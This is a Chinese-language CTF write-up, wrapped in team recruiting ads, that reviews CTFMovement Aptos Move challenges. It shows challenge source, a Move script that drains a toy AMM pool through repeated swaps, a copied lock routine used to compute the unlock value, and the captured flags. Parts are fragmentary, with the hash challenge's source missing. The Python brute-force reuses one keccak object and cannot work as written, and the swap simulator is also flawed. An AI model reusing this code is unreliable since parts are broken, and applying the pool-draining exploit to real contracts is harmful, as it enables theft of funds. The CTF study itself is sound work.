招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
本文是对比赛的时候没做出来题目的一次复盘。
题目给了源代码:
module ctfmovement::checkin {
use std::signer;
use aptos_framework::account;
use aptos_framework::event;struct FlagHolder has key {
event_set: event::EventHandle<Flag>,
}
struct Flag has drop, store {
user: address,
flag: bool
}
public entry fun get_flag(account: signer) acquires FlagHolder {
let account_addr = signer::address_of(&account);
if (!exists<FlagHolder>(account_addr)) {
move_to(&account, FlagHolder {
event_set: account::new_event_handle<Flag>(&account),
});
};
let flag_holder = borrow_global_mut<FlagHolder>(account_addr);
event::emit_event(&mut flag_holder.event_set, Flag {
user: account_addr,
flag: true
});
}
}
审计后一目了然,只要调用get_flag函数就可以获得flag。
aptos move run --function-id 0x3dd3f092f3329fba1818779cc7940b681e37277c43b88f1ac0ebf8b67b7879e3::checkin::get_flag
由于init_challenge没有entry属性,因此只能在script或者module里面被调用,所以需要写一个script来调用这个函数。并且只有通过hash,discrete_log,以及add函数才可以满足全部要求。首先看hash函数:
给了一个vector,后四个元素已知,需要爆破前四个元素,满足hash等于d9ad5396ce1ed307e8fb2a90de7fd01d888c02950ef6852fbc2191d2baf58e79。需要知道aptos_hash::keccak256是如何处理vector的:
可以写一个python脚本来爆破:
k = sha3.keccak_256()
for a in range(256):
for b in range(256):
for c in range(256):
for d in range(256):
k.update(bytes([a, b, c, d, 109, 111, 118, 101]))
if k.hexdigest() == 'd9ad5396ce1ed307e8fb2a90de7fd01d888c02950ef6852fbc2191d2baf58e79':
print([a, b, c, d])
提交hash后获得flag flag{#PWabg61-27LKScx1-pmz5QR-2022CTFMovement-#}!6ff6d330-396d-4b8e-82f0-452df95a62f8
这题代码初看比前面的更加复杂。需要让simple_coin_balance大于10000000000才可以获得flag:
初始池子里有50个coin1和50个coin2,我们手里有5个coin1和5个coin2,为了方便理解我用一个表格来说明:
交易池coin1 | 交易池coin2 | 汇率1-2 | 汇率2-1 | 用户coin1 | 用户coin2 | 兑换币种 | 兑换后用户coin1 | 兑换后用户coin2 |
---|---|---|---|---|---|---|---|---|
50 | 50 | 1 | 1 | 5 | 5 | coin1 | 0 | 10 |
55 | 45 | 0.82 | 1.22 | 0 | 10 | coin2 | 12 | 0 |
43 | 55 | 1.28 | 0.78 | 12 | 0 | coin1 | 0 | 14 |
可以看到,随着交易次数变多,实际的汇率也会越来越大,最终会将交易池掏空。我写了个python脚本更加直观表示:
state = {
'coin1_balance': 5,
'coin2_balance': 5,
'coin1_reserve': 50,
'coin2_reserve': 50,
}def get_swap_out(amount, order):
coin1 = state['coin1_reserve']
coin2 = state['coin2_reserve']
if order:
print(coin2/coin1)
return (amount*coin2/coin1)
else:
print(coin2/coin1)
return (amount*coin1/coin2)
def swap_coin1_to_coin2(amount):
state['coin1_balance'] -= amount
state['coin2_balance'] += get_swap_out(amount, True)
state['coin1_reserve'] += amount
state['coin2_reserve'] -= get_swap_out(amount, True)
def swap_coin2_to_coin1(amount):
state['coin2_balance'] -= amount
state['coin1_balance'] += get_swap_out(amount, False)
state['coin2_reserve'] += amount
state['coin1_reserve'] -= get_swap_out(amount, False)
count = 0
for i in range(100):
print(state)
swap_coin1_to_coin2(state['coin1_balance'])
count += 1
print(state)
swap_coin2_to_coin1(state['coin2_balance'])
count += 1
print(count)
最终可以写一个script来模拟每次的调用,手动操作的话,我尝试了大概不到十次就可以清空coin1
script {
use aptos_framework::coin;
use std::signer::address_of;
fun hack(account: &signer, order: bool, amount: u64) {
// ctfmovement::pool::get_coin(account);
let addr = address_of(account); if(order){
let coin1 = coin::withdraw<ctfmovement::pool::Coin1>(account, amount);
let res = ctfmovement::pool::swap_12(&mut coin1, amount);
coin::destroy_zero(coin1);
coin::deposit<ctfmovement::pool::Coin2>(addr, res);
}
else{
let coin2 = coin::withdraw<ctfmovement::pool::Coin2>(account, amount);
let res = ctfmovement::pool::swap_21(&mut coin2, amount);
coin::destroy_zero(coin2);
coin::deposit<ctfmovement::pool::Coin1>(addr, res);
}
}
}
flag{#FoSGsL0-BHKlsf27-wjBK92-2022CTFMovement-#}!b5fb37c0-dccc-47fc-93c8-c16b77701093
加密函数虽然看上去十分复杂,但是分析后发现seed与执行次数以及时间有关,所以可以把代码复制一份到自己的module里面,计算出result后调用原本module里面的unlock。
entry public fun hack(user: &signer) acquires Counter {
let result = unlock(user);
ctfmovement::move_lock::unlock(user, result);
}
public fun unlock(user : &signer) : u128 acquires Counter {
let encrypted_string : vector<u8> = encrypt_string(BASE);
let res_addr : address = account::create_resource_address(&@ctfmovement, encrypted_string);
let bys_addr : vector<u8> = bcs::to_bytes(&res_addr);
let i = 0;
let d = 0;
let cof : vector<u8> = vector::empty<u8>();
while ( i < vector::length(&bys_addr) ) {
let n1 : u64 = gen_number() % (0xff as u64);
let n2 : u8 = (n1 as u8);
let tmp : u8 = *vector::borrow(&bys_addr, i);
vector::push_back(&mut cof, n2 ^ (tmp));
i = i + 5;
d = d + 1;
};
let pol : Polynomial = constructor(d, cof);
let x : u64 = gen_number() % 0xff;
let result = evaluate(&mut pol, x);
result
}
最后还需要修改increment函数和init_module函数:
- END -
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新